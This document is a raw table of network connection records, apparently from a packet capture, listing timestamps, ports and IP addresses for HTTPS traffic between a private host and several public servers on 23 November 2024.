Nov 23, 2024 02:55:25.326827049 CET	49768	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:25.343919039 CET	49775	443	192.168.2.6	184.30.17.174
Nov 23, 2024 02:55:25.387406111 CET	443	49775	184.30.17.174	192.168.2.6
Nov 23, 2024 02:55:25.415363073 CET	443	49767	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:25.415381908 CET	443	49767	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:25.415412903 CET	49767	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:25.415421963 CET	443	49767	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:25.415432930 CET	49767	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:25.415471077 CET	49767	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:25.447187901 CET	443	49767	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:25.447211027 CET	443	49767	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:25.447263956 CET	49767	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:25.447280884 CET	443	49767	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:25.447334051 CET	49767	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:25.464024067 CET	443	49767	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:25.464071989 CET	49767	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:25.513659954 CET	443	49768	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:25.513688087 CET	443	49768	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:25.513756037 CET	49768	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:25.513776064 CET	443	49768	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:25.513807058 CET	49768	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:25.513819933 CET	49768	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:25.561985016 CET	443	49768	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:25.562005043 CET	443	49768	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:25.562046051 CET	49768	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:25.562056065 CET	443	49768	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:25.562072992 CET	49768	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:25.562220097 CET	49768	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:25.616058111 CET	443	49772	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:25.616218090 CET	443	49772	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:25.616270065 CET	49772	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:25.616537094 CET	49772	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:25.616552114 CET	443	49772	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:25.616592884 CET	49772	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:25.616599083 CET	443	49772	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:25.619777918 CET	443	49773	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:25.619874001 CET	443	49773	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:25.620444059 CET	49773	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:25.621206999 CET	443	49774	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:25.621258020 CET	443	49774	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:25.621289015 CET	49774	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:25.621300936 CET	443	49774	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:25.621335983 CET	49774	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:25.621342897 CET	443	49774	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:25.621368885 CET	49774	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:25.621391058 CET	49774	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:25.621511936 CET	49782	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:25.621536970 CET	443	49782	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:25.622273922 CET	49782	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:25.622481108 CET	49773	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:25.622490883 CET	443	49773	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:25.622500896 CET	49773	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:25.622504950 CET	443	49773	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:25.623492956 CET	49782	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:25.623506069 CET	443	49782	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:25.630693913 CET	49783	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:25.630724907 CET	443	49783	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:25.630791903 CET	49783	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:25.631728888 CET	49783	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:25.631738901 CET	443	49783	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:25.632039070 CET	443	49767	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:25.632097006 CET	49767	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:25.632105112 CET	443	49767	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:25.632154942 CET	49767	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:25.654247046 CET	443	49767	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:25.654304028 CET	49767	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:25.654310942 CET	443	49767	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:25.654355049 CET	49767	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:25.672086000 CET	443	49771	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:25.672173023 CET	443	49771	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:25.672264099 CET	49771	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:25.683067083 CET	443	49768	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:25.683094025 CET	443	49768	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:25.683130980 CET	49768	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:25.683146000 CET	443	49768	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:25.683178902 CET	49768	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:25.683218956 CET	49768	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:25.683628082 CET	443	49767	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:25.683773994 CET	49767	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:25.683783054 CET	443	49767	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:25.683876991 CET	49767	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:25.705741882 CET	443	49767	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:25.705810070 CET	49767	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:25.705816984 CET	443	49767	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:25.706551075 CET	49767	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:25.713326931 CET	443	49768	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:25.713350058 CET	443	49768	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:25.713397026 CET	49768	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:25.713414907 CET	443	49768	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:25.713430882 CET	49768	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:25.713450909 CET	49768	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:25.735110044 CET	443	49768	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:25.735131025 CET	443	49768	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:25.735182047 CET	49768	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:25.735192060 CET	443	49768	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:25.735213995 CET	49768	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:25.735455990 CET	49768	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:25.755245924 CET	443	49770	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:25.755350113 CET	443	49770	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:25.755841970 CET	443	49768	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:25.755861998 CET	443	49768	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:25.755906105 CET	49770	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:25.755945921 CET	49768	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:25.755945921 CET	49768	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:25.755955935 CET	443	49768	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:25.755999088 CET	49768	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:25.809850931 CET	443	49774	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:25.809909105 CET	443	49774	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:25.809937000 CET	49774	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:25.809942961 CET	443	49774	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:25.810009003 CET	49774	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:25.820898056 CET	443	49767	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:25.820976973 CET	49767	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:25.820987940 CET	443	49767	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:25.822817087 CET	49767	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:25.827392101 CET	443	49775	184.30.17.174	192.168.2.6
Nov 23, 2024 02:55:25.827559948 CET	443	49775	184.30.17.174	192.168.2.6
Nov 23, 2024 02:55:25.828169107 CET	49775	443	192.168.2.6	184.30.17.174
Nov 23, 2024 02:55:25.836589098 CET	443	49767	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:25.836663008 CET	49767	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:25.836671114 CET	443	49767	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:25.838746071 CET	49767	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:25.857800961 CET	443	49767	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:25.857871056 CET	49767	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:25.857882977 CET	443	49767	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:25.858464003 CET	49767	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:25.860629082 CET	443	49774	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:25.860676050 CET	443	49774	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:25.860723019 CET	49774	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:25.860729933 CET	443	49774	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:25.860747099 CET	49774	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:25.860769033 CET	49774	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:25.868630886 CET	443	49768	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:25.868690968 CET	443	49768	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:25.868740082 CET	49768	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:25.868750095 CET	443	49768	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:25.868779898 CET	49768	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:25.868804932 CET	49768	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:25.871114016 CET	443	49767	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:25.871187925 CET	49767	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:25.871196032 CET	443	49767	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:25.874537945 CET	49767	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:25.879765987 CET	443	49767	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:25.879901886 CET	49767	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:25.879909039 CET	443	49767	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:25.882688046 CET	49767	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:25.884933949 CET	443	49768	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:25.884952068 CET	443	49768	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:25.885019064 CET	49768	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:25.885027885 CET	443	49768	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:25.885059118 CET	49768	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:25.885067940 CET	49768	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:25.891242027 CET	443	49767	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:25.891344070 CET	49767	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:25.891351938 CET	443	49767	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:25.892195940 CET	49767	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:25.899971962 CET	443	49767	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:25.900002003 CET	443	49768	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:25.900019884 CET	443	49768	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:25.900054932 CET	49767	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:25.900062084 CET	443	49767	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:25.900130033 CET	49768	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:25.900140047 CET	443	49768	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:25.900172949 CET	49767	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:25.900218010 CET	49768	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:25.908651114 CET	443	49767	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:25.908727884 CET	49767	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:25.908735037 CET	443	49767	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:25.909086943 CET	49767	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:25.913028955 CET	443	49768	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:25.913047075 CET	443	49768	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:25.913120985 CET	49768	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:25.913130045 CET	443	49768	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:25.913249969 CET	49768	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:25.924781084 CET	443	49768	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:25.924798965 CET	443	49768	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:25.924887896 CET	49768	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:25.924896955 CET	443	49768	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:25.924942970 CET	49768	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:25.962774038 CET	443	49768	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:25.962790966 CET	443	49768	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:25.962845087 CET	49768	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:25.962853909 CET	443	49768	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:25.962891102 CET	49768	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:25.962913036 CET	49768	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:25.990672112 CET	443	49774	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:25.990730047 CET	443	49774	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:25.990780115 CET	49774	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:25.990786076 CET	443	49774	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:25.990829945 CET	49774	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.021718979 CET	443	49767	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.021811962 CET	49767	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.021823883 CET	443	49767	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.021878004 CET	49767	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.027189970 CET	443	49774	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.027240992 CET	443	49774	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.027291059 CET	49774	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.027306080 CET	443	49774	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.027333021 CET	49774	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.027343988 CET	49774	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.029958963 CET	443	49767	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.030038118 CET	49767	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.030052900 CET	443	49767	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.030102015 CET	49767	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.037349939 CET	443	49767	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.037439108 CET	49767	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.037446022 CET	443	49767	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.038429022 CET	49767	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.044294119 CET	443	49767	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.044383049 CET	49767	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.044389963 CET	443	49767	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.044441938 CET	49767	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.047182083 CET	443	49774	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.047291994 CET	443	49774	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.047306061 CET	49774	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.047322989 CET	443	49774	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.047359943 CET	49774	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.047374964 CET	49774	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.053287029 CET	443	49767	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.053374052 CET	49767	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.053380013 CET	443	49767	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.054536104 CET	49767	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.060255051 CET	443	49767	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.060354948 CET	49767	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.060362101 CET	443	49767	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.060499907 CET	49767	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.062084913 CET	443	49768	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.062108994 CET	443	49768	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.062226057 CET	49768	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.062254906 CET	443	49768	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.062455893 CET	49768	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.066399097 CET	443	49776	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:26.067080021 CET	443	49767	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.067152023 CET	49767	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.067159891 CET	443	49767	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.067204952 CET	49767	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.067256927 CET	443	49774	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.067307949 CET	443	49774	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.067338943 CET	49774	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.067344904 CET	443	49774	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.067375898 CET	49774	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.067389011 CET	49774	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.071660995 CET	443	49768	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.071681976 CET	443	49768	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.071763039 CET	49768	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.071773052 CET	443	49768	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.072470903 CET	49768	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.076147079 CET	443	49767	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.076234102 CET	49767	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.076241016 CET	443	49767	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.078540087 CET	49767	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.081324100 CET	443	49768	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.081341982 CET	443	49768	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.081429005 CET	49768	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.081438065 CET	443	49768	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.083086014 CET	443	49767	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.083125114 CET	49768	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.083167076 CET	49767	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.083173990 CET	443	49767	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.083221912 CET	49767	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.089708090 CET	443	49768	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.089725018 CET	443	49768	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.089811087 CET	49768	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.089821100 CET	443	49768	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.089848042 CET	49768	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.089862108 CET	49768	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.091026068 CET	443	49767	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.091106892 CET	49767	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.091114044 CET	443	49767	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.091461897 CET	49767	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.097939968 CET	443	49767	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.098015070 CET	49767	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.098021984 CET	443	49767	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.098145962 CET	49767	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.100018024 CET	443	49768	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.100033998 CET	443	49768	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.100119114 CET	49768	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.100128889 CET	443	49768	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.101752996 CET	49768	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.106997967 CET	443	49767	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.107094049 CET	49767	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.107100010 CET	443	49767	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.107150078 CET	49767	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.108426094 CET	443	49768	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.108442068 CET	443	49768	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.108510971 CET	49768	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.108520031 CET	443	49768	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.108963966 CET	49768	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.114048958 CET	443	49767	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.114140034 CET	49767	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.114146948 CET	443	49767	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.114463091 CET	49767	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.118031025 CET	443	49768	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.118047953 CET	443	49768	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.118120909 CET	49768	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.118129969 CET	443	49768	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.118458986 CET	49768	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.120753050 CET	443	49767	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.120840073 CET	49767	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.120848894 CET	443	49767	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.122498989 CET	49767	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.135420084 CET	443	49777	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.138518095 CET	49777	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.186986923 CET	443	49774	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.187057972 CET	443	49774	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.187078953 CET	49774	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.187086105 CET	443	49774	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.187128067 CET	49774	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.195208073 CET	49771	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:26.195230961 CET	443	49771	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:26.195449114 CET	49771	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:26.195457935 CET	443	49771	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:26.200314999 CET	49770	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:26.200367928 CET	443	49770	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:26.200409889 CET	49770	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:26.200429916 CET	443	49770	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:26.202027082 CET	49775	443	192.168.2.6	184.30.17.174
Nov 23, 2024 02:55:26.202033043 CET	443	49775	184.30.17.174	192.168.2.6
Nov 23, 2024 02:55:26.203531981 CET	443	49774	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.203583002 CET	443	49774	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.203632116 CET	49774	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.203646898 CET	443	49774	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.203681946 CET	49774	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.203701019 CET	49774	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.217351913 CET	443	49774	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.217396975 CET	443	49774	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.217452049 CET	49774	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.217458010 CET	443	49774	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.217500925 CET	49774	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.217514992 CET	49774	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.221448898 CET	443	49767	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.221529961 CET	49767	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.221537113 CET	443	49767	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.222922087 CET	49767	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.226236105 CET	443	49767	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.226322889 CET	49767	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.226335049 CET	443	49767	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.226376057 CET	49767	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.231525898 CET	443	49767	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.231631041 CET	49767	443	192.168.2.6	150.171.27.10
